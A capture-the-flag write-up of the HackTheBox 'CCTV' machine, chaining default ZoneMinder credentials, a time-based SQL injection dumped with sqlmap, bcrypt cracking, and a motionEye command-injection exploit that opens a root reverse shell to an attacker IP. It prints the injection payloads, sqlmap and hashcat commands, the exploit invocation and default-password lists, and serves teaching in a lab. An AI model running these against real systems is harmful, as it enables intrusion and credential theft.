HackTheBox — CCTV
HackTheBox — CCTV Machine Writeup
Introduction
CCTV is an easy-difficulty Linux machine on HackTheBox that simulates a real-world scenario involving a home security company’s web infrastructure.
What makes this box particularly interesting and educational is that it does not rely on a single exploit. Instead, it chains together multiple vulnerabilities and misconfigurations across different software layers:
- Default credentials on a surveillance system
- Blind SQL injection to extract password hashes from a database
- Password cracking to obtain SSH access
- Command injection in a camera management platform running as root
This multi-stage approach closely mirrors real-world penetration testing engagements, where attackers rarely exploit one big vulnerability but instead chain smaller weaknesses together.
A note on the journey: When I first started this box, I went down the wrong path, when found the zoneminder page, i started searching on google for CVE exploits for the ZoneMinder software to gain entry.
The lesson: always enumerate first and let your findings guide you. Don’t jump to exploits before fully understanding the environment. In this case, the default credentials were the key that unlocked everything else.
Step 1 — Initial Reconnaissance
Setting Up the Environment
The first thing I always do on a new HackTheBox machine is create a dedicated working directory to keep all findings, tools, and output files organised.
Full Port Scan
The goal of the first scan is simple: find every open TCP port on the target. I run a fast scan across all 65,535 ports to avoid missing anything running on non-standard ports.
nmap -p- 10.129.2.166
Output:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-07 14:50 CST
Nmap scan report for 10.129.2.166
Host is up (0.0081s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 9.70 seconds
Two ports open: SSH (22) and HTTP (80). This is a clean, minimal attack surface. The web server on port 80 is our primary target.
Service and Version Scan
Now that I know which ports are open, I run a targeted scan with service detection (-sV) and default scripts (-sC) against only those ports. This gives me software versions and additional context.
nmap -sCV -p22,80 10.129.2.166 -oA target
The -oA target flag saves the output in all three Nmap formats (normal, XML, and grepable) into files named target.*. This is good practice — you never know when you’ll need to reference old scan data.
Output:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 76:1d:73:98:fa:05:f7:0b:04:c2:3b:c4:7d:e6:db:4a (ECDSA)
|_ 256 e3:9b:38:08:9a:d7:e9:d1:94:11:ff:50:80:bc:f2:59 (ED25519)
80/tcp open http Apache httpd 2.4.58
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Did not follow redirect to # http://cctv.htb/
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Key findings:
- OS: Ubuntu Linux (confirmed by OpenSSH version string)
- Web server: Apache 2.4.58
- Hostname: The HTTP server redirects to
cctv.htb— this means virtual host routing is in use
Updating /etc/hosts
Because the web server redirects to cctv.htb, our browser and tools need to know that this hostname points to the target IP. We add it to our local /etc/hosts file:
echo '10.129.2.166 cctv.htb' | sudo tee -a /etc/hosts
10.129.2.166 cctv.htb
Step 2 — Web Enumeration
Header Inspection
Before touching anything fancy, I always do a quick header grab to understand what kind of web technology is running:
curl -I http://cctv.htb
Output:
HTTP/1.1 200 OK
Date: Sat, 07 Mar 2026 21:22:42 GMT
Server: Apache/2.4.58 (Ubuntu)
Last-Modified: Sat, 13 Sep 2025 21:58:50 GMT
ETag: "1821-63eb5e019e8b3"
Accept-Ranges: bytes
Content-Length: 6177
Content-Type: text/html
Notice there is no X-Powered-By header and no CMS indicators in the headers. The response is static HTML. This is already telling us the homepage is not a PHP application, it’s a plain static page.
Directory Brute Force
Next, I use feroxbuster to discover hidden directories and files. This is a recursive web content discovery tool that works by trying thousands of common directory and file names.
feroxbuster -u http://cctv.htb \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-x php,html,txt \
--no-recursion \
-o ferox_cctv.txt
Flag explanations:
-w— wordlist to use for guessing directory/file names-x php,html,txt— also try these file extensions for each word--no-recursion— don’t automatically scan inside discovered directories (keeps it fast)-o ferox_cctv.txt— save results to a file
Output (relevant lines):
301 GET http://cctv.htb/javascript => http://cctv.htb/javascript/
200 GET http://cctv.htb/
200 GET http://cctv.htb/index.html
301 GET http://cctv.htb/zm => http://cctv.htb/zm/
Critical discovery: /zm directory
The /zm path is a well-known path for ZoneMinder, an open-source video surveillance platform. This is a major find, the attack surface just revealed itself.
Step 3 — Gaining Access to ZoneMinder
Identifying the Application
Let’s confirm what’s running at /zm and grab version information:
curl -IL http://cctv.htb/zm/
Output:
HTTP/1.1 200 OK
Server: Apache/2.4.58 (Ubuntu)
Set-Cookie: ZMSESSID=30a0ffcgtorvfsosdd2buidnni; expires=...
Set-Cookie: zmSkin=classic; ...
Set-Cookie: zmCSS=base; ...
Content-Type: text/html; charset=UTF-8
The ZMSESSID cookie and zmSkin/zmCSS cookies are unmistakable ZoneMinder fingerprints. Let’s pull more detail from the page source:
curl -s http://cctv.htb/zm/ | grep -i "version\|zoneminder\|zm"
Output (relevant lines):
<title>ZM - Login</title>
<h1><i class="material-icons md-36">account_circle</i> ZoneMinder Login</h1>
Servers[0] = new Server({"PathToApi":"\/zm\/api","Hostname":"cctv.htb",...});
We can see ZoneMinder’s login page. Before reaching for any exploit, always check for default credentials first, it’s faster and cleaner.
Default Credentials — The Simplest Win
ZoneMinder ships with a well-known default credential set:
Username: admin
Password: admin
Browsing to http://cctv.htb/zm/ and entering these credentials… worked immediately.
Lesson: Always try default credentials before launching exploits. Tools like
hydraandmedusaexist for brute forcing, but the simplest answer is often the correct one. In real-world assessments, default credentials on exposed surveillance systems are a shockingly common finding.
We are now authenticated to the ZoneMinder dashboard as administrator. The session cookie ZMSESSID is now valid and authenticated we’ll need this for the next step.
Identifying the ZoneMinder Version
Inside the ZoneMinder dashboard under About or via API:
curl -s http://cctv.htb/zm/api/host/getVersion.json \
-H "Cookie: ZMSESSID=session_id"
This confirms we are running ZoneMinder v1.37.63.
Step 4 — SQL Injection via CVE-2024-51482
Vulnerability Research
Now that I have authenticated access to ZoneMinder, I research known vulnerabilities for this version. CVE-2024-51482 is a Boolean/time-based blind SQL injection vulnerability affecting the ZoneMinder web interface.
Vulnerable endpoint:
/zm/index.php?view=request&request=event&action=removetag&tid=id
The tid parameter is incorporated directly into a backend MySQL query without sanitization. Because the application does not return query results in the response, this is a blind SQL injection, we can only infer data by observing whether the response is delayed (time-based) or changed (boolean-based).
Important note: Although this vulnerability does not require special permissions inside ZoneMinder, it does require a valid authenticated session. This is why gaining access in Step 3 was a prerequisite.
Capturing a Valid Session Cookie
Using Burp Suite to intercept requests, I captured a valid authenticated session:
Cookie: ZMSESSID=vraqvoo8d2q101uopqtcd3msek
I also verified the session was working by making an authenticated API request and observing a valid JSON response from the log endpoint:
GET /zm/index.php?view=request&request=log&task=query&search=&offset=0&limit=10
The response confirmed the session was valid and showed login activity for the admin user.
Confirming the SQL Injection
Before running a full automated extraction, I manually confirmed the injection point responds to time-based payloads. The theory: if SLEEP(5) executes, the response should take approximately 5 seconds instead of the normal <1 second.
curl -s -o /dev/null -w "%{time_total}\n" \
"http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1 AND SLEEP(5)-- -" \
-H "Cookie: ZMSESSID=vraqvoo8d2q101uopqtcd3msek"
The response time confirmed the injection was triggering. We proceed with sqlmap.
Running sqlmap
I use sqlmap to automate the extraction. The key flags here are:
--technique=T— time-based blind only (matches the vulnerability type)--dbms=MySQL— we know it’s MySQL from the ZoneMinder tech stack--batch— answer all prompts automatically (yes to everything safe)--dbs— first enumerate all databases
sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" \
--cookie="ZMSESSID=vraqvoo8d2q101uopqtcd3msek" \
--dbms=mysql \
--technique=T \
--level=3 \
--risk=2 \
--batch \
--dbs
sqlmap tested all parameters and confirmed:
[INFO] GET parameter 'tid' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
Exactly as expected — the tid parameter is vulnerable.
Dumping the Users Table
With injection confirmed, I run a targeted dump of the Users table inside the zm database.
sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" \
-D zm -T Users -C Username,Password \
--dump \
--batch \
--dbms=MySQL \
--technique=T \
--cookie="ZMSESSID=vraqvoo8d2q101uopqtcd3msek"
Note: Time-based blind SQL injection is inherently slow. sqlmap must infer each character of the response one bit at a time by measuring server delays. This command will take several minutes, do not interrupt it.
Output:
Database: zm
Table: Users
[3 entries]
+------------+--------------------------------------------------------------+
| Username | Password |
+------------+--------------------------------------------------------------+
| superadmin | $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm |
| mark | $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. |
| admin | $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m |
+------------+--------------------------------------------------------------+
Three accounts, all with bcrypt hashes ($2y$10$ prefix).
Thinking like an attacker: The instinctive move here is to go after
superadmin— it sounds the most privileged. However, ZoneMinder user accounts are web application accounts, not system accounts. The user that matters for SSH access is one whose username matches a Linux system user.markis the most likely candidate for a real system user. We crack all three, butmarkis the priority.
Step 5 — Hash Cracking and SSH Access
Identifying the Hash Type
All three hashes begin with $2y$10$, which is the bcrypt algorithm with a cost factor of 10. In hashcat this is mode 3200.
Cracking mark’s Hash
echo '$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.' > mark_hash.txt
hashcat -m 3200 mark_hash.txt /usr/share/wordlists/rockyou.txt --force
Output:
$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.:opensesame
Status: Cracked
Time: 1 min 47 secs
Password: opensesame
Curiosity Check — admin Hash
Out of curiosity, I also cracked the admin hash:
john adminhash.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Result: admin (password is literally "admin")
Trying to SSH as admin with password admin failed with Permission denied. This confirms that the ZoneMinder admin account is a web-only account — there is no corresponding Linux system user named admin. The ZoneMinder admin portal uses its own user database (the zm MySQL database we just dumped) which is separate from the Linux system users.
SSH Login as Mark
ssh mark@cctv.htb
# Password: opensesame
Output:
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-101-generic x86_64)
...
mark@cctv:~$
We are in. Initial access achieved as mark.
Step 6 — Internal Enumeration as Mark
With a foothold on the system, the goal now is to understand the environment and identify a privilege escalation path to root.
Basic System Checks
id
uid=1000(mark) gid=1000(mark) groups=1000(mark),24(cdrom),30(dip),46(plugdev)
sudo -l
Sorry, user mark may not run sudo on cctv.
No sudo access. We need another route.
Internal Services Discovery
ss -tlnp
State Recv-Q Local Address:Port
LISTEN 0 127.0.0.1:8888
LISTEN 0 127.0.0.1:8765
LISTEN 0 127.0.0.1:9081
LISTEN 0 127.0.0.1:33060
LISTEN 0 127.0.0.1:8554
LISTEN 0 127.0.0.1:1935
LISTEN 0 127.0.0.1:7999
LISTEN 0 127.0.0.1:3306
LISTEN 0 0.0.0.0:22
LISTEN 0 *:80
There are multiple services listening internally that are not exposed to the outside network. This is common in HackTheBox machines, the path forward is often through an internal service.
Banner Grabbing Internal Services
curl -I http://127.0.0.1:8765
HTTP/1.1 200 OK
Server: motionEye/0.43.1b4
Content-Type: text/html; charset=UTF-8
motionEye — a web frontend for the Motion camera daemon — is running on port 8765.
curl -I http://127.0.0.1:8888
HTTP/1.1 404 Not Found
Server: mediamtx
Port 8888 is mediamtx, a media streaming server (used for RTSP/RTMP camera feeds).
The other ports (9081, 7999) returned empty replies, suggesting they may be using non-HTTP protocols or require specific request formats.
motionEye Configuration Discovery
cat /etc/systemd/system/motioneye.service
[Service]
User=root
ExecStart=/usr/local/bin/meyectl startserver -c /etc/motioneye/motioneye.conf
Critical finding: motionEye runs as root. This is a severe misconfiguration. Any code execution through motionEye will run with root privileges.
cat /etc/motioneye/motion.conf
# @admin_username admin
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
# @normal_username user
webcontrol_port 7999
webcontrol_localhost on
The motion configuration file contains commented-out admin credentials. The hash 989c5a8ee87a0e9521ec81a79187d162109282f0 is 40 hex characters — that’s a SHA-1 hash.
Important insight: Notice the field is called
admin_passwordin the motionEye config. When we browse tohttp://127.0.0.1:8765, the login form asks for a username and password. The hash stored here is the password itself, motionEye stores passwords as SHA-1 and compares hashes directly. Attempting to log in with the raw hash string as the password string worked immediately, without needing to crack it.
Checking Logs for sa_mark
The log files revealed a service account named sa_mark repeatedly interacting with the motionEye API, issuing commands like status and disk-info. This indicates automated processes are running through the service, and the service account is actively used.
Step 7 — Privilege Escalation via CVE-2025-60787
Vulnerability Overview
CVE-2025-60787 is a command injection vulnerability in motionEye ≤ 0.43.1b4. The vulnerability exists because certain camera configuration fields — such as image_file_name — are written directly into the underlying Motion configuration file without sanitization. When the Motion service reloads, these values are passed to the shell, allowing arbitrary command execution.
Since motionEye runs as root (as confirmed in the service file), any injected command executes as root.
Setting Up SSH Port Forwarding
Because motionEye is bound to localhost only, I need to forward it to my attacking machine to interact with the web UI and the exploit script.
In a new terminal on the attacking machine:
ssh -L 8765:127.0.0.1:8765 mark@cctv.htb
This creates a tunnel: traffic sent to 127.0.0.1:8765 on my attacking machine is forwarded through SSH and delivered to 127.0.0.1:8765 on the target. I can now browse to http://127.0.0.1:8765 locally and interact with motionEye as if I were on the target machine.
Accessing the motionEye Interface
Browsing to http://127.0.0.1:8765 presents the motionEye login page. Logging in with:
Username: admin
Password: 989c5a8ee87a0e9521ec81a79187d162109282f0
(Using the raw SHA-1 hash as the password string, which motionEye accepts directly.)
Cloning the Exploit
cd ~/CCTV
git clone https://github.com/gunzf0x/CVE-2025-60787.git
cd CVE-2025-60787
Understanding What the Exploit Does
Before running any exploit, it’s important to understand what it’s actually doing:
- Authenticates to motionEye using the provided credentials
- Enumerates configured cameras via the motionEye API
- Injects a reverse shell payload into a camera configuration field (
image_file_name) - Writes the malicious configuration to the Motion config file on disk
- Triggers a configuration reload — Motion re-reads the config and the shell payload executes
Because Motion is managed by the motionEye service running as root, the payload executes as root.
Bypassing Client-Side Validation (Manual Method)
If you were to exploit this manually through the browser UI rather than the automated script, you would need to bypass motionEye’s frontend validation first. In the browser developer console (F12 → Console):
configUiValid = function() { return true; };
This overrides the JavaScript validation function to always return true, allowing arbitrary values to be submitted. This is a classic example of why client-side validation is not a security control — it can always be bypassed.
Starting the Listener
In a dedicated terminal:
nc -lvnp 4444
listening on [any] 4444 ...
Executing the Exploit
python3 CVE-2025-60787.py revshell \
--url 'http://127.0.0.1:8765' \
--user 'admin' \
--password '989c5a8ee87a0e9521ec81a79187d162109282f0' \
-i 10.10.14.37 \
--port 4444
Output:
[*] Attempting to connect to 'http://127.0.0.1:8765' with credentials 'admin:989c5a8ee87a0e9521ec81a79187d162109282f0'
[*] Valid credentials provided
[*] Obtaining cameras available
[*] Found 1 camera(s)
1) Name: 'CAM 01' ; ID: 1; root_directory: '/var/lib/motioneye/Camera1'
[*] Using camera by default (first one found) for the exploit
[*] Payload successfully injected. Check your shell...
~Happy Hacking
Root Shell Received
Approximately 10 seconds later, the netcat listener received the callback:
connect to [10.10.14.37] from (UNKNOWN) [10.129.1.83] 38032
bash: cannot set terminal process group (13421): Inappropriate ioctl for device
bash: no job control in this shell
root@cctv:/etc/motioneye#
Confirming root access:
id
uid=0(root) gid=0(root) groups=0(root)
Flags
User Flag
The user flag is located in the home directory of sa_mark, a service account used by the motionEye automation:
cat /home/sa_mark/user.txt
0ac50fea8********************
Root Flag
cat /root/root.txt
9c03f56975********************
Attack Chain Summary
[Attacker Machine: 10.10.14.37]
|
| nmap scan
v
[Target: 10.129.1.83 / cctv.htb]
Port 22 - SSH
Port 80 - Apache → /zm → ZoneMinder
|
| Default credentials: admin:admin
v
[ZoneMinder Dashboard — Authenticated]
|
| CVE-2024-51482 — Blind SQLi on tid parameter
| sqlmap dumps zm.Users table
v
[Password Hashes Extracted]
mark: $2y$10$... → hashcat → opensesame
|
| ssh mark@cctv.htb (password: opensesame)
v
[Shell as mark — uid=1000]
|
| ss -tlnp → port 8765 internal
| curl banner → motionEye/0.43.1b4
| cat motion.conf → admin SHA-1 hash
| systemctl → motionEye runs as root
|
| SSH port forward: -L 8765:127.0.0.1:8765
v
[motionEye Web UI — Authenticated as admin]
|
| CVE-2025-60787 — Command injection via image_file_name
| Payload injected into camera config
| Motion reloads config → executes as root
v
[Reverse Shell — uid=0(root)]
Key Lessons Learned
Default Credentials Are Always Worth Trying First
The entire initial access phase came down to admin:admin. Before reaching for exploit scripts, always attempt default credentials. Common defaults to try on any system:
admin:adminadmin:passwordadmin:root- The software name as the password
Client-Side Validation Is Not a Security Control
The motionEye interface used JavaScript to validate inputs before sending them to the server. Overriding a single function in the browser console (configUiValid = function() { return true; }) bypassed all of it. Security must be enforced server-side.
Always Enumerate Internal Services
After getting a shell as a low-privilege user, ss -tlnp revealed a completely different attack surface of internal services. The escalation path was entirely on ports not visible from outside the machine.
Running Services as Root Is Dangerous
The motionEye service ran as User=root in its systemd unit file. This is a critical misconfiguration. Services should always run as dedicated low-privilege users.